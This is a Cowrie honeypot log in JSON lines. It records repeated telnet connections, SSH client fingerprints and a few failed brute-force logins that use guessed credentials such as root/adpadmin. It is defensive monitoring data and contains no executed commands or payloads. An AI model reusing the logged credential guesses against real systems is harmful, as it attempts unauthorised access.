{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43222,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e41198f6cb","protocol":"telnet","message":"New connection: 198.50.122.223:43222 (10.17.0.5:23) [session: 51e41198f6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:13.316702Z"}
{"eventid":"cowrie.session.closed","duration":31.149032831192017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:13.409595Z","src_ip":"198.50.122.223","session":"d66bc51dc47e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52324,"dst_ip":"10.17.0.5","dst_port":23,"session":"796aac4ad93b","protocol":"telnet","message":"New connection: 198.50.122.223:52324 (10.17.0.5:23) [session: 796aac4ad93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:15.242789Z"}
{"eventid":"cowrie.session.closed","duration":31.099133253097534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:15.344528Z","src_ip":"198.50.122.223","session":"be6f673f56f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89443302154541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:16.269306Z","src_ip":"198.50.122.223","session":"2b178ee4b6d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25130271911621,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:16.320240Z","src_ip":"198.50.122.223","session":"df099e4e614e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.614335775375366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:16.615630Z","src_ip":"198.50.122.223","session":"f8290348ad29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60778,"dst_ip":"10.17.0.5","dst_port":23,"session":"91f0db732f97","protocol":"telnet","message":"New connection: 198.50.122.223:60778 (10.17.0.5:23) [session: 91f0db732f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:16.852090Z"}
{"eventid":"cowrie.session.closed","duration":30.648088932037354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:17.192979Z","src_ip":"198.50.122.223","session":"6bd0fd1863eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33700,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bbb3f217ff8","protocol":"telnet","message":"New connection: 198.50.122.223:33700 (10.17.0.5:23) [session: 5bbb3f217ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:18.131903Z"}
{"eventid":"cowrie.session.closed","duration":31.070307970046997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:18.346824Z","src_ip":"198.50.122.223","session":"84a04cc67945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":34018,"dst_ip":"10.17.0.5","dst_port":23,"session":"2563c55a5eaf","protocol":"telnet","message":"New connection: 154.110.11.213:34018 (10.17.0.5:23) [session: 2563c55a5eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:18.378558Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44994,"dst_ip":"10.17.0.5","dst_port":23,"session":"dec0902b3547","protocol":"telnet","message":"New connection: 198.50.122.223:44994 (10.17.0.5:23) [session: dec0902b3547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:19.522964Z"}
{"eventid":"cowrie.session.closed","duration":30.433526039123535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:20.313819Z","src_ip":"198.50.122.223","session":"156706bd856b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.074121952056885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:20.356773Z","src_ip":"198.50.122.223","session":"9cca63cee9de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49822,"dst_ip":"10.17.0.5","dst_port":23,"session":"148adc153465","protocol":"telnet","message":"New connection: 198.50.122.223:49822 (10.17.0.5:23) [session: 148adc153465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:20.489170Z"}
{"eventid":"cowrie.session.closed","duration":30.75956654548645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:20.503727Z","src_ip":"198.50.122.223","session":"a627bfbe77fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72952938079834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:21.416898Z","src_ip":"198.50.122.223","session":"4b1ca0c4436f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50922,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a2a38e93282","protocol":"telnet","message":"New connection: 198.50.122.223:50922 (10.17.0.5:23) [session: 8a2a38e93282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:21.643528Z"}
{"eventid":"cowrie.session.closed","duration":31.492608070373535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:21.763151Z","src_ip":"198.50.122.223","session":"61d8fa15f1c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59080,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3492f0e7fe2","protocol":"telnet","message":"New connection: 198.50.122.223:59080 (10.17.0.5:23) [session: e3492f0e7fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:22.372990Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59610,"dst_ip":"10.17.0.5","dst_port":23,"session":"a777c6898ee9","protocol":"telnet","message":"New connection: 198.50.122.223:59610 (10.17.0.5:23) [session: a777c6898ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:22.441097Z"}
{"eventid":"cowrie.session.closed","duration":31.385689973831177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:22.808547Z","src_ip":"198.50.122.223","session":"779de5199831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009263277053833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:23.504444Z","src_ip":"198.50.122.223","session":"02264c046953","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36924,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c4e8babfe85","protocol":"telnet","message":"New connection: 198.50.122.223:36924 (10.17.0.5:23) [session: 5c4e8babfe85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:23.575576Z"}
{"eventid":"cowrie.session.closed","duration":31.252663612365723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:24.267850Z","src_ip":"198.50.122.223","session":"a8c8cf418efd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.345679759979248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:24.437907Z","src_ip":"198.50.122.223","session":"058b7cf372c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961050271987915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:24.490754Z","src_ip":"198.50.122.223","session":"063a1e06ddb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49878,"dst_ip":"10.17.0.5","dst_port":23,"session":"c26de7ae3a2b","protocol":"telnet","message":"New connection: 198.50.122.223:49878 (10.17.0.5:23) [session: c26de7ae3a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:26.057945Z"}
{"eventid":"cowrie.session.closed","duration":31.007535934448242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:26.474631Z","src_ip":"198.50.122.223","session":"5cbe13f89fdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067909955978394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:26.498065Z","src_ip":"198.50.122.223","session":"8d5860593476","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.633817195892334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:27.219076Z","src_ip":"198.50.122.223","session":"bbb6149e3506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55882,"dst_ip":"10.17.0.5","dst_port":23,"session":"717eb9147cc4","protocol":"telnet","message":"New connection: 198.50.122.223:55882 (10.17.0.5:23) [session: 717eb9147cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:27.342731Z"}
{"eventid":"cowrie.session.closed","duration":31.06162166595459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:27.828441Z","src_ip":"198.50.122.223","session":"671ba906f07c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60370,"dst_ip":"10.17.0.5","dst_port":23,"session":"0504d66a857e","protocol":"telnet","message":"New connection: 198.50.122.223:60370 (10.17.0.5:23) [session: 0504d66a857e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:28.164354Z"}
{"eventid":"cowrie.session.closed","duration":30.968489408493042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:28.200032Z","src_ip":"198.50.122.223","session":"9f3fb56abdcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.306562423706055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:28.356916Z","src_ip":"198.50.122.223","session":"07a285e3d7c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01151943206787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:28.441629Z","src_ip":"198.50.122.223","session":"b11803a4eab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.145935297012329,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:28.524355Z","src_ip":"154.110.11.213","session":"2563c55a5eaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19866943359375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:29.261563Z","src_ip":"198.50.122.223","session":"120bae743cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873615026474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:29.326144Z","src_ip":"198.50.122.223","session":"fc45e10b8032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.412684679031372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:29.431658Z","src_ip":"198.50.122.223","session":"b78af700a2d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658007860183716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:29.578323Z","src_ip":"198.50.122.223","session":"830737383dec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41400,"dst_ip":"10.17.0.5","dst_port":23,"session":"36e9b533b6cb","protocol":"telnet","message":"New connection: 198.50.122.223:41400 (10.17.0.5:23) [session: 36e9b533b6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:29.956476Z"}
{"eventid":"cowrie.session.closed","duration":30.98508048057556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:30.462133Z","src_ip":"198.50.122.223","session":"9dfb7b769db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09109616279602,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:31.178341Z","src_ip":"198.50.122.223","session":"3a7aeb09e03a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47772,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad09fc6ac783","protocol":"telnet","message":"New connection: 198.50.122.223:47772 (10.17.0.5:23) [session: ad09fc6ac783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:31.318597Z"}
{"eventid":"cowrie.session.closed","duration":31.1298725605011,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:31.344599Z","src_ip":"198.50.122.223","session":"2f67bb114f77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43144,"dst_ip":"10.17.0.5","dst_port":23,"session":"76a970e8cfa9","protocol":"telnet","message":"New connection: 198.50.122.223:43144 (10.17.0.5:23) [session: 76a970e8cfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:31.436815Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":44488,"dst_ip":"159.203.135.109","dst_port":22,"session":"c57f1be0a6cd","protocol":"ssh","message":"New connection: 2.203.183.35:44488 (159.203.135.109:22) [session: c57f1be0a6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:31.502438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:31.506759Z","src_ip":"2.203.183.35","session":"c57f1be0a6cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:31.615607Z","src_ip":"2.203.183.35","session":"c57f1be0a6cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adpadmin","message":"login attempt [root/adpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:32.127069Z","src_ip":"2.203.183.35","session":"c57f1be0a6cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54350,"dst_ip":"10.17.0.5","dst_port":23,"session":"07a65c0f4852","protocol":"telnet","message":"New connection: 198.50.122.223:54350 (10.17.0.5:23) [session: 07a65c0f4852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:32.571233Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:33.233362Z","src_ip":"2.203.183.35","session":"c57f1be0a6cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57824,"dst_ip":"10.17.0.5","dst_port":23,"session":"f604e91d2ce1","protocol":"telnet","message":"New connection: 198.50.122.223:57824 (10.17.0.5:23) [session: f604e91d2ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:33.245010Z"}
{"eventid":"cowrie.session.closed","duration":30.73887872695923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:33.499508Z","src_ip":"198.50.122.223","session":"70a8249a8610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.238829851150513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:33.523647Z","src_ip":"198.50.122.223","session":"75368bedde68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.564136505126953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:33.552643Z","src_ip":"198.50.122.223","session":"d763357cc1bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40222,"dst_ip":"10.17.0.5","dst_port":23,"session":"b344e88c78b1","protocol":"telnet","message":"New connection: 198.50.122.223:40222 (10.17.0.5:23) [session: b344e88c78b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:35.309619Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42450,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d8180a38af","protocol":"telnet","message":"New connection: 198.50.122.223:42450 (10.17.0.5:23) [session: 47d8180a38af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:35.647185Z"}
{"eventid":"cowrie.session.closed","duration":31.125263214111328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:36.330336Z","src_ip":"198.50.122.223","session":"6bc4b17cdbc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83694362640381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:37.316422Z","src_ip":"198.50.122.223","session":"40f3e9c35d16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":35796,"dst_ip":"159.203.135.109","dst_port":22,"session":"c796d554d5d5","protocol":"ssh","message":"New connection: 148.216.28.11:35796 (159.203.135.109:22) [session: c796d554d5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:37.603384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:37.607910Z","src_ip":"148.216.28.11","session":"c796d554d5d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52916,"dst_ip":"10.17.0.5","dst_port":23,"session":"292d1a3658e6","protocol":"telnet","message":"New connection: 198.50.122.223:52916 (10.17.0.5:23) [session: 292d1a3658e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:37.668671Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:37.675490Z","src_ip":"148.216.28.11","session":"c796d554d5d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53846,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4095ef287d4","protocol":"telnet","message":"New connection: 198.50.122.223:53846 (10.17.0.5:23) [session: a4095ef287d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:37.832446Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"git1234","message":"login attempt [ubuntu/git1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:37.973640Z","src_ip":"148.216.28.11","session":"c796d554d5d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09298086166382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:38.827572Z","src_ip":"198.50.122.223","session":"8f6ebddd51ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:39.042623Z","src_ip":"148.216.28.11","session":"c796d554d5d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.383036613464355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:39.110068Z","src_ip":"198.50.122.223","session":"cfc6cc1229a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69390630722046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:39.215419Z","src_ip":"198.50.122.223","session":"fa7c7079cd12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00083017349243,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:40.474326Z","src_ip":"45.65.130.151","session":"ff787f319dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.917325735092163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:41.399161Z","src_ip":"198.50.122.223","session":"dd656ac37466","protocol":"telnet"}
